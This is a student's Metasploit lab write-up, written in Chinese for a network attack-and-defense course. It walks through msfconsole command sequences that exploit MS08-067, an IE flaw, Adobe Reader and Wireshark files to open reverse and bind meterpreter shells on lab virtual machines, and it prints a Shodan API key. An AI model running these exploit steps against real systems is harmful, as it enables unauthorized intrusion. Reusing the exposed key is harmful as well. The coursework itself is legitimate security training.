2019-2020-2 20175310奚晨妍《网络对抗技术》Exp6 MSF基础应用

1 基础知识

1.1 MSF的六种模块

  • Exploit模块

    • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    • 形象点来说就是攻击模块
  • Payload模块

    是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。

    • 三种 payload:/usr/share/metasploit-framework/modules/payloads/
      • Single:all-in-one
      • Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
      • Stages:利用 stager 建立的连接下载的后续payload
  • Encoder模块

    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
    • 不改变payload作用,但能对payload进行加工
  • Aux模块

    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • Post模块

    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
    • 这里主要指的是攻击之后可能用到的模块
  • Nops模块

    • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
    • 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置

1.2 核心命令

  banner            显示一个很棒的metasploit横幅
  cd               更改当前工作目录
  color             切换颜色
  connect           与主机通信
  exit              退出控制台
  get                获取特定于上下文的变量的值
  getg             获取全局变量的值
  grep             管道另一个命令的输出
  help              帮助菜单
  history            显示命令历史记录
  load              加载框架插件
  quit               退出控制台
  repeat            重复命令列表
  route            通过会话路由流量
  save            保存活动数据存储
  sessions          转储会话列表并显示有关会话的信息
  set             将特定于上下文的变量设置为值
  setg             将全局变量设置为值
  sleep            在指定的秒数内不执行任何操作
  spool           将控制台输出写入文件以及屏幕
  threads         查看和操作后台线程
  unload           卸载框架插件
  unset           取消设置一个或多个特定于上下文的变量
  unsetg           取消设置一个或多个全局变量
  version          显示框架和控制台库版本号

2 实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

2.1 一个主动攻击实践

2.1.1 ms08_067(成功)

攻击机:kali 192.168.0.105 靶机:Win2kServer_SP0 192.168.0.102

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(ms08_067_netapi) > show payloads
  • msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
  • msf exploit(ms08_067_netapi) > set LHOST 192.168.0.105 //攻击机ip
  • msf exploit(ms08_067_netapi) > set LPORT 5310 //攻击端口
  • msf exploit(ms08_067_netapi) > set RHOST 192.168.0.102 //靶机ip,特定漏洞端口已经固定
  • msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
  • msf exploit(ms08_067_netapi) > exploit //攻击

我这里用的靶机是win2k,攻击成功后可以输入ver查看系统版本:

2.2 一个针对浏览器的攻击

2.2.1 ms11_050(失败)

攻击机:kali 192.168.0.105 靶机:Win2kServer_SP0 192.168.0.102 IE版本:5.00.2920.0000

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/browser/ms11_050_mshtml_cobjectelement
  • msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
  • msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.0.105 //攻击机ip
  • msf exploit(ms11_050_cobjectelement) > set LPORT 5310 //攻击端口固定
  • msf exploit(ms11_050_cobjectelement) > set URIPATH 5310xcy //统一资源标识符路径设置
  • msf exploit(ms11_050_cobjectelement) > exploit

在浏览器输入http://192.168.0.105:8080/5310xcy,这个方法攻击失败了,靶机显示找不到该页

攻击机显示192.168.0.102 ms11_050_mshtml_cobjectelement - Unknown User-Agent Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0),参考了学姐的博客,也遇到了相同的问题,由于不知道问题出现的原因,未能解决,所以只能换一种攻击方法。

2.2.2 ms10_018(成功且唯一)

攻击机:kali 192.168.3.31 靶机:WinXP_sp3_英文版 192.168.3.33 IE版本:6.0

在kali终端输入cd /usr/share/metasploit-framework/modules/exploits,即进入渗透攻击模块所在的目录,然后进入Windows目录,需要对浏览器进行攻击,所以再进入browser目录,此时看到的.rb后缀的文件都是可以进行的针对浏览器的攻击操作。

这里我选择了ms10_018_ie_behaviors,输入vim ms10_018_ie_behaviors.rb查看详情信息。可以看到对靶机的要求是win NT,2000,XP,2003,Vista上的IE6或IE7,我这次用的靶机是WinXP_sp3,IE版本是6.0,符合要求。

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf5 > use windows/browser/ms10_018_ie_behaviors
  • msf5 exploit(windows/browser/ms10_018_ie_behaviors) > show payloads
  • msf5 exploit(windows/browser/ms10_018_ie_behaviors) >set payload windows/meterpreter/bind_tcp
  • msf5 exploit(windows/browser/ms10_018_ie_behaviors) > show options
  • msf5 exploit(windows/browser/ms10_018_ie_behaviors) >set RHOST 192.168.3.33
  • msf5 exploit(windows/browser/ms10_018_ie_behaviors) >exploit

由于刚刚没有设置URIPATH,那么他就是一个随机数,从图中可以看到,他生成了一个网址:http://192.168.3.31:8080/3tm9iDwpdwZI,在WinXP的IE中输入该网址,kali显示:Successfully migrated to services.exe (676) as: NT AUTHORITY\SYSTEM,已成功迁移到services.exe。这里不是所有漏洞都能获取shell,具体成功的表现要通过查看description来获取:

2.3 一个针对客户端的攻击

2.3.1 Adobe(成功)

攻击机:kali 192.168.0.105 靶机:WinXP 192.168.0.109 Adobe版本:

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/fileformat/adobe_cooltype_sing
  • msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
  • msf exploit(adobe_cooltype_sing) > set LHOST 192.168.0.105 //攻击机ip
  • msf exploit(adobe_cooltype_sing) > set LPORT 5310 //攻击端口
  • msf exploit(adobe_cooltype_sing) > set FILENAME 20175310.pdf //设置生成pdf文件的名字
  • msf exploit(adobe_cooltype_sing) > exploit //攻击

可以看到20175310.pdf存储在 /home/xicyannn5310/.msf4/local/20175310.pdf路径下,输入下面的口令将文件移至桌面:

将生成的pdf文件拷贝到靶机上。

在kali上输入back退出当前模块,进入监听模块,输入以下命令:

  • msf > use exploit/multi/handler //进入监听模块
  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
  • msf exploit(handler) > set LHOST 192.168.0.105 //攻击机ip
  • msf exploit(handler) > set LPORT 5310 //攻击端口固定
  • msf exploit(handler) > exploit

之后在靶机中双击20175310.pdf,就可以看到这边已经回连成功了:

若此时关闭pdf文件,则失去权限,攻击失败:

2.3.2 wireshark(成功且唯一)

攻击机:kali 192.168.3.31 靶机:WinXP 192.168.3.33 wireshark版本:1.54

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf5 > use windows/fileformat/wireshark_packet_dect
  • msf5 exploit(windows/fileformat/wireshark_packet_dect) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
  • msf5 exploit(windows/fileformat/wireshark_packet_dect) > set LHOST 192.168.3.31 //攻击机ip
  • msf5 exploit(windows/fileformat/wireshark_packet_dect) > set LPORT 5310 //攻击端口
  • msf5 exploit(windows/fileformat/wireshark_packet_dect) > set FILENAME 20175310.pcap //设置生成pcap文件的名字
  • msf5 exploit(windows/fileformat/wireshark_packet_dect) > exploit //攻击

将生成的pcap文件拷贝到靶机上。在kali上输入back退出当前模块,进入监听模块,输入以下命令:

  • msf > use exploit/multi/handler //进入监听模块
  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
  • msf exploit(handler) > set LHOST 192.168.3.31 //攻击机ip
  • msf exploit(handler) > set LPORT 5310 //攻击端口固定
  • msf exploit(handler) > exploit

之后在靶机中双击20175310.pcap,就可以看到这边已经回连成功了:

输入dir、pwd来验证:

同样,若此时关闭pdf文件,则失去权限,攻击失败:

2.4 成功应用任何一个辅助模块

2.4.1 shodan_searchshodan_search(失败)

攻击机:kali 192.168.3.31 靶机:Win7 192.168.3.37

在终端输入cd /usr/share/metasploit-framework/modules/auxiliary进入辅助模块,输入ls查看

我选择了gather目录下的shodan_search

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf5 > use auxiliary/gather/shodan_search

  • msf5 auxiliary(gather/shodan_search) > show options //查看选项

  • msf5 auxiliary(gather/shodan_search) > set MAXPAGE 5 //收集的最大页数

  • msf5 auxiliary(gather/shodan_search) > set QUERY 5310 //查找的关键字

  • msf5 auxiliary(gather/shodan_search) > set REGEX 192.168.3.37//被扫描的IP

  • msf5 auxiliary(gather/shodan_search) > set SHODAN_APIKEY pJufDpGuoonshQSsh0ogLo9TDTD6dwYJ//API

  • msf5 auxiliary(gather/shodan_search) > set OUTFILE 20175310 //输出文件

  • msf5 auxiliary(gather/shodan_search) > exploit

其中API需要先登录shodan官网,先注册账号,然后在我的账号中可以查看到自己的API,如下图:

输入exploit结果如下,显示each方法没有被定义:

这个问题不知道怎么解决,网上也没有相应的解决方法...

2.4.2 ipidseq(成功且唯一)

攻击机:kali 192.168.3.31

该模块将探测主机的IPID序列,并使用相同的方法对IPID空闲扫描(-SI)和0秒检测(-0)进行分类。Nmap的空闲扫描可以使用其IPID序列被分类为增量或断小端增量的主机。

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf5 > use auxiliary/scanner/ip/ipidseq

  • msf5 auxiliary(scanner/ip/ipidseq) > show options //查看选项

  • msf5 auxiliary(scanner/ip/ipidseq) > set RHOSTS 192.168.3.30-192.168.3.40//目标地址范围

  • msf5 auxiliary(scanner/ip/ipidseq) > set TIMEOUT 5//超时设置

  • msf5 auxiliary(scanner/ip/ipidseq) > exploit

192.168.3.30-192.168.3.40ip地址中,192.168.3.37为主机win7的IP地址,成功扫描,并把它归为IPID序列递增主机。

3 实验中遇到的问题

3.1 浏览器攻击显示地址已经被使用

解决方案:主要有以下几个思路解决问题:

  • 靶机的版本不对:每个攻击需要的靶机版本要求都不一定相同,大部分Windows都需要英文版,还有例如针对浏览器和客户端的都对软件也有版本要求,只有版本符合要求才能攻击成功

  • 地址被占用,可能是多次重复做造成的,解决方法有:

    • 换端口
    • 重启
    • 找到占用端口的进程kill
  • 还有可能是载荷payload设置不正确,有些攻击指定了要用的payload,如果不匹配也是不能成功攻击

4 基础问题回答

4.1 用自己的话解释什么是exploit,payload,encode.

  • exploit:它的意思是渗透,在执行攻击时,我感觉exploit指令就像run或是start一样,先对选项进行设置,设置成完成之后就可以输入exploit指令开始攻击
  • payload:意思是载荷,就是每次攻击都需要设置他们的payload,而且某些攻击有特定的payload,如果不匹配就不能成功攻击
  • encode:就是编码,可以通过编码来消除类似0x00一样的坏字符。在终端中输入cd /usr/share/metasploit-framework/modules/encoders进入编码模块的目录,再输入ls就能看到可用的编码方式了。

4.2 离实战还缺些什么技术或步骤?

通过这次实验,我发现实战攻击有以下几个难点:

  • 对靶机的版本要求特别高,不管是系统版本还是软件的版本,如何确保靶机的版本符合攻击的要求需要考虑
  • 例如浏览器攻击,如何诱导被攻击者在IE中输入特定的网址
  • 例如客户端攻击,如何将生成的pdf或是pcap文件植入到靶机中,并让被攻击者运行。

5 实践总结与体会

本次实验难点主要在靶机的版本上,由于每个攻击版本要求不同,每次攻击时都需要下不同的镜像还有软件,比较费时费力。实验中还是遇到挺多问题的,不过在老师还有同学的帮助下都一一解决了,完成了实验,也找到了和别人不一样的攻击方法,对MSF的应用更加熟练,收获颇深。

6 参考资料

kali linux之Msf

2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用

0x59_MSF_MS-08067攻击实践.md

posted @ 2020-04-25 15:34  20175310xcy  阅读(528)  评论(0编辑  收藏  举报